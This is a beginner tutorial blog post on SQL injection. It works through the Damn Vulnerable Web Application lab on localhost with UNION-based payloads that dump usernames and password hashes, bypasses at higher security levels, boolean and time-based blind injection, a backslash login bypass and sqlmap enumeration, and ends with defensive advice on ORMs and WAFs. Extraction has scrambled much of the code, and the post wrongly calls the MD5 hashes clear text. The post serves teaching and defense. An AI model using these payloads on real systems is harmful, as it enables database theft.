The basics of how to test and protect your application - , Akamai SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018–2019) period. State of the internet 2019 The quote above says it all. If there’s one attack vector to get familiar with as a web developer it’s an injection and this one in particular. On the list injections are ranked first with SQL staring high. The infamous is very common, easy to automate and can create a lot of unrepairable damage. OWASP top 10 SQLi This post is a personal attempt at getting to the bottom of something I to know. I repeatedly tried picking it up with gists and short videos but it didn’t go “all the way down”. Getting to SQL injection means sitting down, and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written. needed know reading the docs Having that said, it’s important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes. What is it SQL Injection (or in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information. SQLi Performing the attack requires a very simple “hacking tool”: your browser, making it accessible and easy both to learn and perform. There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client’s browser. So, where the developer intended for the user to provide a simple input e.g. User ID, an attacker may try to an SQL statement. Instead of providing 1 for example, consider this input: inject 1' UNION SELECT password FROM users UNION SELECT '1 If the backend code was not thought of in the context of an injection, it may be exploitable to such a query. The result is an extraction of database information through a simple web form. If successful, the attacker doesn’t need to gain access to the physical server. The data is extractable and available in a “legitimate” manner. How to attack In order to set up a live example, I’m using the infamous . It’s available in different forms but for the sake of demonstration and speed, let’s pick the quickest one with Docker: Damn Vulnerable Web Application docker run --rm -it -p 8080:80 vulnerables/web-dvwa # The login screen would be @ http://localhost:8080 # # While the login can be brute-forced, let's keep things simple for now: # 1. Login - User: "admin", Password: "password" # 2. Click "Create / Reset Database" # 3. You're all set. Login again. Poking for holes Select the “SQL Injection” module from the menu. Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be : 1 1 # ID: 1 # First name: admin # Surname: admin Seems like we’re being responded with three fields: ID, First name and Surname. Let’s try an escape by providing : ' at line 1 '
# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ' '' '' # Look how hackernoon's syntax highlighting is # breaking up due to a single quote # Think about how the same can affect # SQL queries This response is valuable information here. When the application returns an error with the error message relayed from the backend, the attacker is getting live feedback to different attempts which can be used for adjustments. Sometimes, as a defense mechanism, applications return a generic error message without any informative message. Still, the attack can be executed and is called a “blind SQL injection”. . More on that further on Back to our injection quest. After using the app returned a useful message mentioning an error near . Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback. ' ''''' The SQL UNION statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next: 1' UNION SELECT '2
# Output: The used SELECT statements have a
# different number of columns First, let’s review the input: means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, are dangerous when not escaped correctly. 1' ' is a statement that selects a number and opening another to pair with the one waiting at the end of the statement in the backend code. UNION SELECT '2 UNION ' Now we know the may work with a few tweaks. When calling an SQL statement with the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified. UNION UNION Let’s expand the test and provide an additional column: 1' UNION , , , SELECT 1 '2
# ID: 1' UNION SELECT 1 '2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1 '2
# First name: 1
# Surname: 2 The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising. Boom! 1. Step one is getting the DB name to query tables from: 1' union , table_schema information_schema.tables , select 2 from union select 3 '4 This yields three sets with the databases name under “Surname”: “admin”, “dvwa”, “information_schema”. 2. We’re interested in , so we'll pick that and query its schema: dvwa 1' union , table_name information_schema.tables table_schema = , select 2 from where 'dvwa' union select 3 '4 The query yields table names: “admin”, “users”, “guestbook” 3. “Users” table is a usual immediate suspect that holds interesting data like usernames, passwords and other Personal Identifiable Information ( ). We’ll query that (feel free to tinker with the requests and query all available information): PII 1' union , column_name information_schema.columns table_name = , select 2 from where 'users' union select 3 '4 We’re responded with a list of column names. “user” and “password” seems like the interesting ones. 4. We go on and make a direct query to the “users” table: 1' union , , , select user password from users union select 1 2 ' 
# ID:  1' union select user password from # users union select 1,2' # First name: admin # Surname: admin # ID:  1' union select user, password from users # union select 1,2' # First name: admin # Surname: # 5f4dcc3b5aa765d61d8327deb882cf99 # ID:  1' union select user, password from users # union select 1,2' # First name: gordonb # Surname: # e99a18c428cb38d5f260853678922e03 # ID:  1' union select user, password from users # union select 1,2' # First name: 1337 # Surname: # 8d3533d75ae2c3966d7e0d4fcc69216b # ID:  1' union select user, password from users # union select 1,2' # First name: pablo # Surname: # 0d107d09f5bbe40cade3de5c71e9e9b7 # ID:  1' union select user, password from users # union select 1,2' # First name: smithy # Surname: # 5f4dcc3b5aa765d61d8327deb882cf99 # ID:  1' union select user, password from users # union select 1,2' # First name: 1 # Surname: 2 And there it is: a list of all users and password existing. Surprisingly (or not), passwords are in clear text and not even hashed as they should be. Security Level: Medium Raising the DVWA security level under “DVWA Security” -> choose . This time, instead of a plain form, we find a dropdown list with certain users to choose from. Checking the browser dev tools tells us the request is being sent with two parameters: . Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is . Medium POST id=1&Submit=Submit BurpSuite Quick setup to intercept with BurpSuite Set your requests to go through a proxy; with Firefox this is easy as going to --> --> --> and setting all protocols to go through (BurpSuite's default) Preferences Advanced Network Settings Manual Proxy Configuration 127.0.0.1:8080 Go to BurpSuite tab and set . The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop it Proxy intercept on Go to DVWA SQLi page, choose an ID from the dropdown and click . The request should be waiting on BurpSuite, where we can then send it to through the menu. Submit Repeater Actions Poking at the server by playing with the of the request reveals an escape character in the form of . So whenever a special char like appears it's being escaped. However, not being able to use special chars, does not prevent a injection with the exact same syntax: id POST \ ',#,-,$ UNION 1 UNION , SELECT user password FROM users That’s it. No escaping at all. The backend code already wraps it and fetches everything within the command fully. Security Level: High The last security level shows a link that pops up another window with a form that controls the request. Playing around with previous escapes shows that the code is “better” here but it still has a glitch. Comments are a good way to escape the rest of the line: something sometable something sometable SELECT FROM # WHERE ... # Will translate into the SQL query SELECT FROM There are different options for commenting SQL lines, common ones are - multiline that ends with . --, #, /* */ In the "real world" those are useful in describing code: = SELECT name -- this is the name FROM users -- users table WHERE name "DAN" -- Dan is the CEO When it comes to SQLi, comments help ignore the rest of the code that follows, so consider this PHP code: // $ = ; Check database query "SELECT first_name, last_name FROM users
            WHERE user_id = '$id' LIMIT 1;" The query is ed to a single result making it hard to pull a large set of data, ignoring the ation can bypass it: LIMIT LIMIT 1 UNION , first_name, last_name user_id = ; # First input: SELECT user password from users # Translates to SELECT FROM users WHERE '1 union select user,password' LIMIT 1 Since the query result is limited to one set, it will constantly return , , ignoring the . first_name last_name UNION Let's try again then: 1 UNION , first_name, last_name user_id = ; SELECT user password from users # # Limitation ignored SELECT FROM users WHERE '1 union select user,password FROM users' Blind SQLi A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not. SLEEP Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic: If the first letter of the first database’s name is an ‘A’, wait for 10 seconds. If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc. - Blind SQL Injection — OWASP Let’s test the DVWA blind SQLi module with the security level. With the simple input the system returns . With bad input like the response is with a message . low 1 User ID exists in the database ' 404 User ID is MISSING from the database The next step is playing around to see if a boolean attack is optional: '1 AND 1='1
>> User ID exists in the database. '1 AND 1='2
>> User ID is MISSING from the database. valid # Input # Ok, that was supposed to be a truthy signal. # Input # Good! It seems a boolean-based blind attack is From here on, it’s a matter of separating known results into false/positive statements from which the attacker can derive an answer. For example: 1' and ( user_id= )= = ( user_id= )= = # This input returns 404 select user from users where 1 'test' and 1 '1

# However this is successful
# This means the name is ' admin ' where user_id = 1
1' and select user from users where 1 'admin' and 1 '1 Fragmented SQLi A lesser-known method, but nonetheless effective can be useful when certain characters like are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with , the attacker may circumvent it by created his own escape like so: ' \ username: \
password: or 1 $query = * username= = # select from users where '".$username."' and password '".$password."' "; This translates to: * username= select FROM users where '\' or password=' or 1 # '; The backslash escapes the following single-quote, creating a situation where the application reads the username value like so: . The statement above will always return . The hash makes sure its following command section is ignored as a comment. '\' or password=' or 1 # ' true # Automating things with sqlmap One has to get familiar with the different techniques to handle different situations. But, rewriting payloads and remembering all the options is hard if you’re not an expert. Human errors and false-positive we may miss can also interfere. can help. Sqlmap is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based). sqlmap Here’s a simple operation of it on DVWA blind SQLi level authentication
sqlmap -u --cookie= --dbs
sqlmap resumed the following injection point(s)
 from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or
           HAVING clause
    Payload: id=1 XWif XWif&Submit=Submit
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
           (query SLEEP)
    Payload: id=1 lswI lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema # Scanning the full form path with parameters # Note how cookies are also passed to the scanner for "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#" "PHPSESSID=abcd;security=low" ' AND 5756=5756 AND
             ' '=' ' AND (SELECT 5198 FROM
             (SELECT(SLEEP(5)))xyFF)
                   AND ' '=' The scanner found both the vulnerability and the fact it has to be attacked blindly. It suggests payloads and presently available databases that can be used: sqlmap -u --cookie= -D dvwa
      --tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+ # Running the same scan with a -D for db name # and --tables to enumerate the dvwa db "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#" "PHPSESSID=abcd;security=low" Defense “ ” — A common belief is, that a good way of dealing with SQLi is using an . Not only an ORM provides data structure management, but it also takes away the responsibility of building raw database queries. This is usually helpful; transferring the responsibility of making queries to more experienced hands make sense. But it should not be done blindly. While an ORM is usually a, it is an SQLi security solution. An ORM can easily turn in to a double-edged sword. If breached, the ORM may turn into a world scale SQL injection hole. ORM users must get familiar with injection methods and test their own applications. ORM ORM layer not “I would say it is a baseline expectation for any ORM, yes. which is likely why it’s not mentioned in docs — it’s assumed, so long as you use the ORM’s core API or query builder. and that’s where the caveat is… ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write ‘raw,’ do-it-yourself queries as a string… or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM… but there is a case for it every now and again.” - TypeOrm Issue reply by @feather-hmalone — A can be a great help by filtering incoming suspicious requests such as those of an SQLi, or cross-site scripting payloads. These too, rely on the power of their rules and if not implemented correctly. WAF web application firewall can be bypassed — Building things with best practice in mind is a good direction. It sounds obvious, but it really isn’t. Best practice mentality is great but it doesn’t mean that every responsibility can be offloaded to a different layer. When it comes to security, especially to a vector that’s responsible for the bast majority of web data leaks, one should know how to self defend. Familiarizing oneself with the attacks and the tooling can make the difference of a sensitive information leak. Self-defense I hope that by now you’re more familiar with SQLi risks and mitigations. Having attack vectors in mind helps us developers and operations protect the systems under our responsibility. I’ll be making more of these posts, mainly around OWASP’s top 10 vulnerabilities, so if you feel this has been helpful, stick around for more and if you have any questions or feedback at all. let me know Thank you for reading. Previously published at https://omerxx.com/sql-injection-intro

Different

Keep

Mind

Breath

Read My Stories

Too Long; Didn't Read

Questions about cloud security? Get answers here.

SQL Injections: Beginners Guide

Too Long; Didn't Read

Companies Mentioned

Omer

About Author

TOPICS

THIS ARTICLE WAS FEATURED IN...

SQL Injections: Beginners Guide

Too Long; Didn't Read

Companies Mentioned

Omer

About Author

TOPICS

THIS ARTICLE WAS FEATURED IN...

RELATED STORIES